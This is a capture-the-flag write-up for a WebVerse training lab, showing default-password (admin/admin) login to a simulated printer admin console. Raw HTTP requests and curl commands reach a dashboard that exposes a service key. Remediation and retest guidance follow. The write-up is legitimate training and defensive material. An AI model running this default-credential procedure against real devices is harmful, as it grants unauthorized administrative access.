Lab note: PrinPrin was reproduced on 21 August 2026 in two fresh WebVerse instances, one for Caido and one for Terminal. Requests use <LAB_HOST>, session values use <REDACTED>, and the challenge proof appears as WEBVERSE{REDACTED}. Temporary hostnames stay visible in screenshots because they provide request context and are not reusable secrets.

Executive Summary

PrinPrin presents a public login page for a simulated network printer. The page identifies the device model and exposes a normal POST /login.php form with username and password fields.

I first sent admin/access as a negative control. The server returned 200 OK, kept me on the login page, and displayed Access denied. I then changed only the password to admin. That request returned 302 Found with Location: /dashboard.php.

The existing pp_sid session then opened /dashboard.php as admin. The page showed device status, supply levels, recent job metadata, and a Remote service key marked as sensitive by the application. I reproduced the same sequence with curl on a second fresh instance and confirmed the WebVerse solved state in the browser.

CONFIRMED FINDING

The public PrinPrin console accepts the default admin/admin password and grants access to the authenticated printer administration dashboard.

1. Report Profile

FieldVerified value
PlatformWebVerse
LabPrinPrin
DifficultyEasy
Reproduction date21 August 2026
Entry pointGET /login.php
Login requestPOST /login.php
Negative controladmin/access
Accepted defaultadmin/admin
Authenticated routeGET /dashboard.php
Primary weaknessCWE-1393: Use of Default Password
Confirmed resultPrinter administrator access and Remote service key disclosure
EvidenceBrowser, Caido, curl, and WebVerse solved-state UI
Caido reproductionPassed
Terminal reproductionPassed on a separate fresh instance

Verified Attack Chain

Public /login.php
  > printer login form with username and password fields
admin/access
  > 200 OK and Access denied
admin/admin
  > 302 Found and Location: /dashboard.php
Existing pp_sid session
  > authenticated GET /dashboard.php
Dashboard
  > admin context, device data, recent jobs, Remote service key
WebVerse
  > CHALLENGE SOLVED
Stop

2. Scope and Evidence Limits

I stayed inside the authorised PrinPrin lab and stopped after the objective was confirmed.

  • PrinPrin is a WebVerse training simulation. This write-up does not report a vulnerability in a real printer model or vendor product.
  • The Caido and Terminal screenshots come from two different fresh instances. Their temporary hostnames are expected to differ.
  • The successful Caido 302 response did not include a new Set-Cookie header. I therefore do not claim that the login issued a new session. The request already carried pp_sid, and the same session reached the dashboard after authentication.
  • Session values and both literal flags are removed from the public images.
  • I did not change printer settings, trigger a print job, test other accounts, use the Remote service key, or contact any service with it.
  • The dashboard showed settings and networking tabs, but their contents were not tested. Their presence is not proof that every listed action was available.
  • The evidence confirms the shown administrative view, device details, recent job metadata, and Remote service key. It does not prove access to unrelated systems or any impact beyond the lab console.

3. Evidence-Led Chronological Reproduction

Both clients follow the same short sequence:

  1. Open /login.php and record the login form.
  2. Send admin/access and record the rejected response.
  3. Change only the password to admin.
  4. Record the 302 redirect to /dashboard.php.
  5. Reuse the session and request /dashboard.php.
  6. Confirm the admin context and Remote service key.
  7. Confirm the solved state and stop.

The response difference is the important part. 200 OK alone is not a successful login here. The negative request returns the login page with an error, while the accepted default password returns a redirect to the authenticated dashboard.

4. Caido/Burp Reproduction

Step 1: Record the Login Surface

I opened the fresh PrinPrin instance in the Caido browser. The page identified an embedded printer web server and presented a normal administrator sign-in form.

Fresh PrinPrin login page in the Caido browser

Figure 1: Browser baseline. The fresh instance exposes the administrator login page before any credential is tested.

Caido recorded the matching request:

GET /login.php HTTP/1.1
Host: <LAB_HOST>

Equivalent command:

curl -i -sS 'https://<LAB_HOST>/login.php'

GET login request in Caido

Figure 2: Login request. The initial request reaches only the public /login.php route.

The response returned the login document and set an anonymous pp_sid session value. The public copy keeps the cookie attributes but removes the value.

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: pp_sid=<REDACTED>; path=/; HttpOnly; SameSite=Lax
Cache-Control: no-store, no-cache, must-revalidate

The HTML confirms the request contract:

<form method="post" class="pp-login__form">
  <input type="text" name="username">
  <input type="password" name="password">
  <button type="submit">Sign In</button>
</form>

Login response headers and form contract in Caido

Figure 3: Login response. The response contains the printer fingerprint, the POST form, and a redacted anonymous session value.

End of the login response in Caido

Figure 4: Full response context. The continuation closes the same login document. It is retained so the supplied baseline response is not represented by a partial crop alone.

At this point I had the login route and the two form fields. I had not yet proved that any default password worked.

Step 2: Record a Rejected Login

I used admin/access as the negative control.

POST /login.php HTTP/1.1
Host: <LAB_HOST>
Content-Type: application/x-www-form-urlencoded
Cookie: pp_sid=<REDACTED>

username=admin&password=access

Equivalent command:

curl -i -sS \
  -c prinprin.cookies \
  -X POST 'https://<LAB_HOST>/login.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'username=admin&password=access'

Rejected login in the PrinPrin browser

Figure 5: Browser rejection. PrinPrin stays on the login page and displays Access denied.

Negative login request in Caido

Figure 6: Negative request. The request body contains admin/access; only the session value is removed.

The response was still 200 OK, but the body contained the rejection message:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Access denied. Check the user name and password and try again.

Negative login response in Caido

Figure 7: Negative response. The server returns the login form again with an explicit authentication error. This is the failed-login baseline.

Step 3: Change Only the Password

I sent the previous request to Replay and changed only password=access to password=admin.

POST /login.php HTTP/1.1
Host: <LAB_HOST>
Content-Type: application/x-www-form-urlencoded
Cookie: pp_sid=<REDACTED>

username=admin&password=admin

Equivalent command:

curl -i -sS \
  -b prinprin.cookies \
  -c prinprin.cookies \
  -X POST 'https://<LAB_HOST>/login.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'username=admin&password=admin'

Default admin login request in Caido

Figure 8: Default password request. The username, route, method, and body structure match the negative control. Only the password changed.

The response changed to a redirect:

HTTP/1.1 302 Found
Location: /dashboard.php
Content-Length: 0

Successful admin login response in Caido

Figure 9: Authentication transition. admin/admin reaches /dashboard.php, while admin/access returned the login page with Access denied.

The screenshot does not show a new Set-Cookie header in this response. The proof is the controlled response change and the next authenticated request, not a claim that the server rotated the session.

Step 4: Follow the Session to the Dashboard

I followed the redirect with the existing session.

GET /dashboard.php HTTP/1.1
Host: <LAB_HOST>
Cookie: pp_sid=<REDACTED>

Equivalent command:

curl -i -sS \
  -b prinprin.cookies \
  'https://<LAB_HOST>/dashboard.php'

Authenticated dashboard request in Caido

Figure 10: Authenticated request. The redacted session reaches /dashboard.php after the accepted default password.

The server returned the dashboard as admin:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<span class="pp-user">admin</span>

Top of the authenticated PrinPrin dashboard response

Figure 11: Admin context. The response identifies the authenticated user as admin and exposes the printer dashboard navigation.

Further down, the page included the Remote service key and described it as a password-like credential:

<label class="pp-fld">Remote service key
  <input class="pp-mono" type="text"
         value="WEBVERSE{REDACTED}" readonly>
</label>
<p>Authorizes manufacturer remote diagnostics for this device. Treat it like a password.</p>

Remote service key in the authenticated dashboard response

Figure 12: Remote service key. The literal value is redacted, but the label, readonly field, admin response context, and the application’s warning remain visible.

The same response continued with recent job metadata, including job IDs, users, document names, page counts, states, and times.

Recent job metadata in the dashboard response

Figure 13: Dashboard continuation. The authenticated response contains recent job metadata in addition to device and supply status.

Step 5: Confirm the Lab Result

I submitted the current-instance flag in the WebVerse interface and stopped.

WebVerse confirms that PrinPrin was solved

Figure 14: Platform confirmation. WebVerse accepted the flag and marked PrinPrin as solved.

5. Terminal/CLI Reproduction

The terminal run used a second fresh instance. It did not reuse the Caido hostname, cookie, or flag.

Set the active host once:

LAB_HOST='<LAB_HOST>'

Step 1: Read the Login Page

curl -i -sS "https://${LAB_HOST}/login.php"

Expected result:

HTTP/2 200
content-type: text/html; charset=UTF-8
username
password

Terminal baseline request to the PrinPrin login page

Figure 15: Terminal baseline. The second instance returns the same login form and printer fingerprint. The initial session value is redacted.

Step 2: Save the Session and Send the Negative Control

curl -i -sS \
  -c prinprin.cookies \
  -X POST "https://${LAB_HOST}/login.php" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'username=admin&password=access'

Observed result:

HTTP/2 200
Access denied. Check the user name and password and try again.

Terminal negative login control

Figure 16: Terminal rejection. The CLI response repeats the login page with Access denied; the cookie value is removed.

curl -i -sS \
  -b prinprin.cookies \
  -c prinprin.cookies \
  -X POST "https://${LAB_HOST}/login.php" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'username=admin&password=admin'

Observed result:

HTTP/2 302
location: /dashboard.php

Terminal default admin login response

Figure 17: Terminal authentication transition. The second instance produces the same 200 + Access denied versus 302 + /dashboard.php response difference.

Step 4: Request the Authenticated Dashboard

curl -i -sS \
  -b prinprin.cookies \
  "https://${LAB_HOST}/dashboard.php"

Observed result:

HTTP/2 200
admin
Remote service key
WEBVERSE{REDACTED}

Terminal authenticated dashboard output with redacted flag

Figure 18: Terminal impact proof. The second instance returns the authenticated admin dashboard and the redacted Remote service key through curl.

The Terminal run independently reproduced the HTTP chain. The WebVerse submission remained a browser-only platform check and was already confirmed in Figure 14.

6. Controls and Results

CheckInputResultMeaning
Public baselineGET /login.php200, login formConfirms the entry point and request fields
Negative controladmin/access200, Access deniedShows the failed-login behavior
Default passwordadmin/admin302, /dashboard.phpConfirms the default password is accepted
Authenticated follow-upGET /dashboard.php with pp_sid200, admin, Remote service keyConfirms the resulting admin access and disclosed key
Independent clientSame sequence with curlSame response changes on a second instanceConfirms the result is not tied to the proxy UI
Platform resultCurrent flag submissionCHALLENGE SOLVEDConfirms the lab objective

7. Root Cause and Classification

The root cause is CWE-1393: Use of Default Password. The console accepts a known default password for its administrator account and does not force a deployment-specific password before the management interface becomes reachable.

CWE-1393 is the specific default-password child of CWE-1392. I do not use CWE-798 here because the evidence does not show where the password is stored or whether it is hard-coded in source or configuration.

The response comparison removes the common false positive:

Same route, method, username, session type, and body format

password=access
  > 200 OK
  > Access denied

password=admin
  > 302 Found
  > Location: /dashboard.php
  > authenticated dashboard follows

8. Confirmed Impact

The confirmed impact is limited to what the two reproductions showed:

  • a public visitor can authenticate as the printer administrator with admin/admin;
  • the resulting session can read the authenticated dashboard;
  • the dashboard exposes device and supply status;
  • the dashboard exposes recent job metadata;
  • the dashboard exposes a Remote service key that the application says should be treated like a password.

I did not use the key, change settings, access another service, create persistence, or test broader account access.

9. Remediation

  1. Remove shared default administrator passwords.
  2. Generate a unique random password for each deployed device or instance.
  3. Require the administrator to replace the initial password before network management is enabled.
  4. Reject known factory values after setup and prevent password reuse during the first-change flow.
  5. Restrict the management console to an administrator VLAN or VPN instead of exposing it to every reachable client.
  6. Add login rate limits, temporary lockout, and useful authentication audit events.
  7. Rotate the Remote service key after any default-password exposure.
  8. Keep password-like service keys out of a general dashboard unless the active administrator explicitly requests to reveal them.

10. How to Verify the Fix

Retest on a clean instance after the remediation is deployed:

  1. Confirm that /login.php is reachable only from the intended management network.
  2. Send the same admin/access negative control and confirm rejection.
  3. Send admin/admin and confirm rejection with no redirect to /dashboard.php.
  4. Confirm that a unique initial credential is required and that first login forces a password change.
  5. Request /dashboard.php without a valid authenticated session and confirm a redirect to the login page or 401/403.
  6. Sign in with the new unique administrator password and confirm that access is logged.
  7. Confirm that the Remote service key was rotated and is hidden by default.
  8. Repeat the checks in a proxy and with curl so browser behavior does not hide an authentication mistake.

11. Conclusion

PrinPrin was a short authentication case, but the negative control mattered. A 200 OK response was the failed login, not success. Changing only access to admin changed the response to 302 /dashboard.php, and the existing session then opened the printer dashboard as admin.

Caido and curl reproduced the same sequence on separate instances. The dashboard exposed recent job metadata and a Remote service key, WebVerse accepted the current flag, and I stopped there.